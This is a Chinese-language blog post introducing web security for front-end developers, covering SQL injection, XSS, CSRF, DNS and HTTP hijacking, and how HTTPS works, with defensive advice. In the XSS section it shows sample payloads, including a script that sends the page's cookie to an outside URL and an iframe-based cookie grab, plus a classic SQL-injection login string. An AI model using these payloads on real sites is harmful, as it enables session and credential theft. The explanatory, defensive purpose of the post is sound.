Web安全淺說

如今前端確定也須要知道安全問題,做爲網站開發者,要保證基礎的三點:javascript

  1. 保密性
    數據內容不能泄漏,加密是經常使用方法
  2. 完整性
    數據內容不能被篡改,特別是如今oAuth盛行的年代,協議要求sign簽名,就是保證雙方數據完整。一旦信息被改會發生什麼不言而喻
  3. 可用性
    網站服務是可用的

常見前端攻擊方式

DDos攻擊,Dos攻擊,SQL注入,XSS,CSRF等,D|Dos攻擊是經過http協議自己特色,經過大量惡意請求致使服務器不能響應的攻擊,防範這個問題須要運維或FireWall來作的,這裏就很少說明,只簡單說下FEer會接觸到的幾個。
在此以前,不得不說一個概念:安全沙箱。不知道的能夠度娘一下css

SQL注入

經過非法方式影響服務的正常有效運行,提供非正確的信息返回或不能正常服務。在先後端未進行分離的年代,sql注入是每一個web開發者都須要熟知的。那時候訪問的url就很容易猜到是哪一個庫表哪一個操做,最著名的sql注入就是登陸時user和password輸入'1' or 2=2"' 若是沒有對URI進行特殊符號轉化,服務端sql腳本就可能出現前端

sql = "select * from user where user='1' or 2=2"' password='' " // 密碼相似user的寫法 複製代碼

sql查詢條件是成立的,有可能會把整個庫表的信息都返回,甚至也給暴力破解留下入口。
如今FEer能夠不用考慮這一點,可是請求地址仍是能夠在network裏看到,適當的加密和偏移仍是須要的。固然,後端的安防是最最重要的,這裏只說前端,node的代理或後端對於前端腳本的請求攔截找機會再作分享。java

XSS(cross-site scripting)跨站腳本攻擊

從本站發起,這是首要條件,由於安全沙箱的限制,非本站腳本不能操做cookie或dom,那麼它若是攻擊呢?
攻擊方式:node

  • 用戶輸入
    例如:在某個評論頁,輸入了非法代碼,後端未轉譯,或前端直接innerHTML插入。那麼網站的保密性就沒有了,形成的結果:
// 多是div多是a,不設防就能夠隨意添加dom
<a style="display:block;position:absolute;width:100%;height:100%;" href="javascript:alert('xss');">測試連接</a>
// 各類腳本隨意跑
<script>window.head[0].append(js code);alert("w");setTimeout(function(){xhr.get(url+cookie)},0);</script>
<iframe src="domain/getcookie/cookie">
// 經過xhr把cookie給攻擊者,iframe等,全部的內容毫無疑問都是非法的,機密泄漏!
複製代碼
  • 第三方腳本引入
    症狀和結果同「用戶輸入」,因此如今不少https網站下不能引用http的域名文件,就是防止http劫持帶來的XSS問題。
  • 劫持
    頁面或js腳本被追加了某些內容,例如廣告;最多見的是SP運營商這麼幹

防範手段

前端幾乎沒有安全一說,即使是加密的js代碼也是能夠反編譯,全部的內容幾乎都暴露在瀏覽器裏。因此對用戶的輸入都是不可信的,即使是加密的js代碼也是能夠反編譯,針對用戶的輸入,須要後端配合業務進行鍼對性的過濾和轉譯;而且根據攻擊類型(反射、存儲引用、DOM)進行相應的規則,「<a, <script, <Script,,'," 」等等,練css其實也能夠進行js的hack,最好用innerText而不是innerHTML。若是業務實在須要匹配規則做好,容許的狀況下就別讓代碼執行。nginx

CSRF(cross-site request forgery)請求僞造

從第三方站點發起,利用cookie僞形成你的合法請求;通常釣魚網站會這麼幹。仍是由於安全沙箱的關係,攻擊者不能拿到sessionid或標明合法身份的sign,但在頁面中利用你未過時的cookie就能夠發起攻擊(瀏覽器關閉cookie還能有效呢?yes,就是tmd有可能不過時),新建tab進行其餘網站的瀏覽也是常態。web

防範手段

Referer驗證,若是來源非本站,那麼能夠斷定是非法請求;可是IE低版本和某些閹割瀏覽器這玩意是無效的;
token驗證,每次提交須要用戶輸入驗證碼或拉動豆腐塊等等,就是證實是人,是人,是人在提交;
頭部自定義內容(加密),我在暢旅時跟後臺通訊會加上用戶名密碼的md5加密;
通過我本身的實際工做檢驗,雖然也是沒什麼用,但能夠增長攻擊難度;再有就是OTA或存在價格競爭的企業,爬蟲掃描價格也是很常見的攻防大戰;都是隻增長難度,徹底靠前端防範是不可能的。切切!算法

劫持與https

  • DNS劫持
    DNS劫持就是經過劫持了DNS服務器,經過某些手段取得某域名的解析記錄控制權,進而修改此域名的解析結果,致使對該域名的訪問由原IP地址轉入到修改後的指定IP,其結果就是對特定的網址不能訪問或訪問的是假網址,從而實現竊取資料或者破壞原有正常服務的目的。DNS劫持經過篡改DNS服務器上的數據返回給用戶一個錯誤的查詢結果來實現
    症狀:在某些地區的用戶在成功鏈接寬帶後,首次打開任何頁面都指向ISP提供的「電信互聯星空」、「網通黃頁廣告」等內容頁面。還有就是曾經出現過用戶訪問Google域名的時候出現了百度的網站。這些都屬於DNS劫持。再說簡單點,當你輸入google.com這個網址的時候,你看到的網站倒是百度的首頁。
  • http劫持
    在用戶的客戶端與其要訪問的服務器通過網絡協議協調後,兩者之間創建了一條專用的數據通道,用戶端程序在系統中開放指定網絡端口用於接收數據報文,服務器端將所有數據按指定網絡協議規則進行分解打包,造成連續數據報文。
    用戶端接收到所有報文後,按照協議標準來解包組合得到完整的網絡數據。其中傳輸過程當中的每個數據包都有特定的標籤,表示其來源、攜帶的數據屬性以及要到何處,全部的數據包通過網絡路徑中ISP的路由器傳輸接力後,最終到達目的地,也就是客戶端。
    HTTP劫持是在使用者與其目的網絡服務所創建的專用數據通道中,監視特定數據信息,提示當知足設定的條件時,就會在正常的數據流中插入精心設計的網絡數據報文,目的是讓用戶端程序解釋「錯誤」的數據,並以彈出新窗口的形式在使用者界面展現宣傳性廣告或者直接顯示某網站的內容。在2000年初期,SP運營商對網站文件內容的劫持很是常見。

防範手段

DNS劫持現實生活中很難防範,由於提供網絡服務的SP運營商讓你看什麼就得看什麼,這也是偉大的牆所存在的條件;進不來出不去。
http劫持可使用https增長攻擊者的成本。
HTTPS協議的主要做用能夠分爲兩種:一種是創建一個信息安全通道,來保證數據傳輸的安全;另外一種就是確認網站的真實性。sql

HTTP協議傳輸的數據都是未加密的,也就是明文的,所以使用HTTP協議傳輸隱私信息很是不安全,爲了保證這些隱私數據能加密傳輸,因而網景公司設計了SSL(Secure Sockets Layer)協議用於對HTTP協議傳輸的數據進行加密,從而就誕生了HTTPS。簡單來講,HTTPS協議是由SSL+HTTP協議構建的可進行加密傳輸、身份認證的網絡協議,要比http協議安全。
https工做方式後端

HTTPS實際上是有兩部分組成:HTTP + SSL / TLS,也就是在HTTP上又加了一層處理加密信息的模塊。服務端和客戶端的信息傳輸都會經過TLS進行加密,因此傳輸的數據都是加密後的數據。SSL介於應用層和TCP層之間。應用層數據再也不直接傳遞給傳輸層,而是傳遞給SSL層,SSL層對從應用層收到的數據進行加密,並增長本身的SSL頭,具體是如何進行加密、解密、驗證的,請看下圖:

1.服務器用RSA生成公鑰和私鑰
2.把公鑰放在證書裏發送給客戶端,私鑰本身保存
3.客戶端首先向一個權威的服務器檢查證書的合法性,若是證書合法,客戶端產一段隨機數,這個隨機數就做爲通訊的密鑰,咱們稱之爲對稱密鑰,用公鑰加密這段機數,而後發送到服務器
4.服務器用密鑰解密獲取對稱密鑰,而後,雙方就已對稱密鑰進行加密解密通訊了
若是有興趣能夠看下https的頭和http的頭有哪些區別,還有公鑰和私鑰,均可以瞭解一下。

HTTPS的優勢

儘管HTTPS並不是絕對安全,掌握根證書的機構、掌握加密算法的組織一樣能夠進行中間人形式的攻擊,但HTTPS還是現行架構下最安全的解決方案,主要有如下幾個好處:

1.使用HTTPS協議可認證用戶和服務器,確保數據發送到正確的客戶機和服務器;
2.HTTPS協議是由SSL+HTTP協議構建的可進行加密傳輸、身份認證的網絡協議,要比http協議安全,可防止數據在傳輸過程當中不被竊取、改變,確保數據的完整性。
3.HTTPS是現行架構下最安全的解決方案,雖然不是絕對安全,但它大幅增長了中間人攻擊的成本。
4.谷歌曾在2014年8月份調整搜索引擎算法,並稱「比起同等HTTP網站,採用HTTPS加密的網站在搜索結果中的排名將會更高」;但18年10月開始Chrome也再也不提示https網站安全與否;由於大部分網站都有SSL證書了。

HTTPS的缺點

雖說HTTPS有很大的優點,但其相對來講,仍是存在不足之處的:

1.HTTPS協議握手階段比較費時,會使頁面的加載時間延長近50%,增長10%到20%的耗電; 2.HTTPS鏈接緩存不如HTTP高效,會增長數據開銷和功耗,甚至已有的安全措施也會所以而受到影響;
3.SSL證書須要錢,功能越強大的證書費用越高,我的網站、小網站沒有必要通常不會用。
4.SSL證書一般須要綁定IP,不能在同一IP上綁定多個域名,IPv4資源不可能支撐這個消耗。
5.HTTPS協議的加密範圍也比較有限,在黑客攻擊、拒絕服務攻擊、服務器劫持等方面幾乎起不到什麼做用。最關鍵的,SSL證書的信用鏈體系並不安全,特別是在某些國家能夠控制CA根證書的狀況下,中間人攻擊同樣可行。

總結

1.保密性
SQL,XSS,CSRF等攻擊都是經過非法手段獲取用戶信息,或從後端或從前端來進行。假設你是攻擊者,能夠經過什麼手段進行攻擊就能找到防止的方法
2.完整性
請求的數據、cookie、header、body、sign等完整,後端對header和ua信息進行驗證,前端在header里加密某一段信息都是方法。
3.可用性 我曾遇到過這種問題:前端(C端hybird)寫了一個輪詢,設定的結束條件是拿到數據,看似沒什麼大問題,後端微服務資源分配模塊沒作好,結果拖的全部的服務都當機。核心的點仍是在後端,但前端也須要設定合理的結束條件。再有就是提供http服務的穩定和高併發,nginx,負載均衡,異地多活等

PS:我的經驗的一點分享,確定會有遺漏;歡迎留言指正,互相交流學習!

防止sp運營商劫持有個文章很是好,請點連接: 乾貨!防運營商劫持

相關文章
相關標籤/搜索